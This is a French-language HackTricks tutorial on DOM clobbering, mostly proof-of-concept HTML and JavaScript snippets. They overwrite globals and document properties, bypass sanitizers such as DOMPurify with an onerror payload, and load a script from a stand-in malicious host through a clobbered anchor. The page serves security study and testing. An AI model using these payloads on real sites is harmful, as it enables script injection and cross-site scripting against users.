Dom Clobbering

Reading time: 9 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks

Bases

Il est possible de générer des variables globales dans le contexte JS avec les attributs id et name dans les balises HTML.

html
<form id="x"></form>
<script>
console.log(typeof document.x) //[object HTMLFormElement]
</script>

Seules certaines éléments peuvent utiliser l'attribut name pour clobber des variables globales, ce sont : embed, form, iframe, image, img et object.

Fait intéressant, lorsque vous utilisez un élément de formulaire pour clobber une variable, vous obtiendrez la valeur toString de l'élément lui-même : [object HTMLFormElement] mais avec anchor, la toString sera le href de l'anchor. Par conséquent, si vous clobber en utilisant la balise a, vous pouvez contrôler la valeur lorsqu'elle est traitée comme une chaîne :

html
<a href="controlled string" id="x"></a>
<script>
console.log(x) //controlled string
</script>

Tableaux et Attributs

Il est également possible de clobber un tableau et des attributs d'objet :

html
<a id="x">
<a id="x" name="y" href="controlled">
<script>
console.log(x[1]) //controlled
console.log(x.y) //controlled
</script></a
></a
>

Pour écraser un 3ème attribut (par exemple x.y.z), vous devez utiliser un form :

html
<form id="x" name="y"><input id="z" value="controlled" /></form>
<form id="x"></form>
<script>
alert(x.y.z.value) //controlled
</script>

Clobbering plus d'attributs est plus compliqué mais toujours possible, en utilisant des iframes :

html
<iframe name="x" srcdoc="<a id=y href=controlled></a>"></iframe>
<style>
@import "https://google.com";
</style>
<script>
alert(x.y) //controlled
</script>

warning

La balise style est utilisée pour donner suffisamment de temps à l'iframe pour se rendre. Sans cela, vous trouverez une alerte de undefined.

Pour écraser des attributs plus profonds, vous pouvez utiliser des iframes avec un encodage html de cette manière :

html
<iframe
name="a"
srcdoc="<iframe srcdoc='<iframe name=c srcdoc=<a/id=d&amp;amp;#x20;name=e&amp;amp;#x20;href=\controlled&amp;amp;gt;<a&amp;amp;#x20;id=d&amp;amp;gt; name=d>' name=b>"></iframe>
<style>
@import "https://google.com";
</style>
<script>
alert(a.b.c.d.e) //controlled
</script>

Contournement de filtre

Si un filtre parcourt les propriétés d'un nœud en utilisant quelque chose comme document.getElementByID('x').attributes, vous pourriez écraser l'attribut .attributes et casser le filtre. D'autres propriétés DOM comme tagName, nodeName ou parentNode et d'autres sont également écrasables.

html
<form id="x"></form>
<form id="y">
<input name="nodeName" />
</form>
<script>
console.log(document.getElementById("x").nodeName) //FORM
console.log(document.getElementById("y").nodeName) //[object HTMLInputElement]
</script>

Clobbering window.someObject

En JavaScript, il est courant de trouver :

javascript
var someObject = window.someObject || {}

Manipuler le HTML sur la page permet de remplacer someObject par un nœud DOM, ce qui peut introduire des vulnérabilités de sécurité. Par exemple, vous pouvez remplacer someObject par un élément d'ancre pointant vers un script malveillant :

html
<a id=someObject href=//malicious-website.com/malicious.js></a>

Dans un code vulnérable tel que :

html
<script>
window.onload = function () {
let someObject = window.someObject || {}
let script = document.createElement("script")
script.src = someObject.url
document.body.appendChild(script)
}
</script>

Cette méthode exploite la source du script pour exécuter du code indésirable.

Astuce : DOMPurify vous permet d'utiliser le protocole cid:, qui n'encode pas les guillemets doubles en URL. Cela signifie que vous pouvez injecter un guillemet double encodé qui sera décodé à l'exécution. Par conséquent, injecter quelque chose comme <a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:&quot;onerror=alert(1)//"> fera que le &quot; encodé en HTML sera décodé à l'exécution et s'échappera de la valeur de l'attribut pour créer l'événement onerror.

Une autre technique utilise un élément form. Certaines bibliothèques côté client inspectent les attributs d'un nouvel élément de formulaire créé pour les nettoyer. Cependant, en ajoutant un input avec id=attributes à l'intérieur du formulaire, vous écrasez effectivement la propriété des attributs, empêchant le nettoyeur d'accéder aux attributs réels.

Vous pouvez trouver un exemple de ce type de clobbering dans ce CTF writeup.

Clobbering de l'objet document

Selon la documentation, il est possible d'écraser les attributs de l'objet document en utilisant le DOM Clobbering :

L'interface Document prend en charge les propriétés nommées. Les noms de propriétés pris en charge d'un objet Document à tout moment consistent en ce qui suit, dans l'ordre d'arbre selon l'élément qui les a contribué, en ignorant les doublons ultérieurs, et avec des valeurs provenant des attributs id venant avant les valeurs des attributs name lorsque le même élément contribue aux deux :

- La valeur de l'attribut de contenu name pour tous les éléments embed, form, iframe, img, et object exposés qui ont un attribut de contenu name non vide et sont dans un arbre de document avec document comme leur racine;

- La valeur de l'attribut de contenu id pour tous les éléments object exposés qui ont un attribut de contenu id non vide et sont dans un arbre de document avec document comme leur racine;

- La valeur de l'attribut de contenu id pour tous les éléments img qui ont à la fois un attribut de contenu id non vide et un attribut de contenu name non vide, et sont dans un arbre de document avec document comme leur racine.

En utilisant cette technique, vous pouvez écraser des valeurs couramment utilisées telles que document.cookie, document.body, document.children, et même des méthodes dans l'interface Document comme document.querySelector.

javascript
document.write("<img name=cookie />")

document.cookie
<img name="cookie">

typeof(document.cookie)
'object'

//Something more sanitize friendly than a img tag
document.write("<form name=cookie><input id=toString></form>")

document.cookie
HTMLCollection(2) [img, form, cookie: img]

typeof(document.cookie)
'object

Écriture après l'élément clobberé

Les résultats des appels à document.getElementById() et document.querySelector() peuvent être modifiés en injectant une balise <html> ou <body> avec un attribut id identique. Voici comment cela peut être fait :

html
<div style="display:none" id="cdnDomain" class="x">test</div>
<p>
<html id="cdnDomain" class="x">
clobbered
</html>
<script>
alert(document.getElementById("cdnDomain").innerText) // Clobbered
alert(document.querySelector(".x").innerText) // Clobbered
</script>
</p>

De plus, en utilisant des styles pour masquer ces balises HTML/body injectées, l'interférence d'autres textes dans le innerText peut être évitée, améliorant ainsi l'efficacité de l'attaque :

html
<div style="display:none" id="cdnDomain">test</div>
<p>existing text</p>
<html id="cdnDomain">
clobbered
</html>
<style>
p {
display: none;
}
</style>
<script>
alert(document.getElementById("cdnDomain").innerText) // Clobbered
</script>

Des investigations sur SVG ont révélé qu'une balise <body> peut également être utilisée efficacement :

html
<div style="display:none" id="cdnDomain">example.com</div>
<svg>
<body id="cdnDomain">
clobbered
</body>
</svg>
<script>
alert(document.getElementById("cdnDomain").innerText) // Clobbered
</script>

Pour que la balise HTML fonctionne au sein de SVG dans des navigateurs comme Chrome et Firefox, une balise <foreignobject> est nécessaire :

html
<div style="display:none" id="cdnDomain">example.com</div>
<svg>
<foreignobject>
<html id="cdnDomain">
clobbered
</html>
</foreignobject>
</svg>
<script>
alert(document.getElementById("cdnDomain").innerText) // Clobbered
</script>

Clobbering Forms

Il est possible d'ajouter de nouvelles entrées à l'intérieur d'un formulaire simplement en spécifiant l'attribut form à l'intérieur de certaines balises. Vous pouvez utiliser cela pour ajouter de nouvelles valeurs à l'intérieur d'un formulaire et même ajouter un bouton pour l'envoyer (clickjacking ou abus de certains codes JS .click()):

html
<!--Add a new attribute and a new button to send-->
<textarea form="id-other-form" name="info">
";alert(1);//
</textarea>
<button form="id-other-form" type="submit" formaction="/edit" formmethod="post">
Click to send!
</button>

Références

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks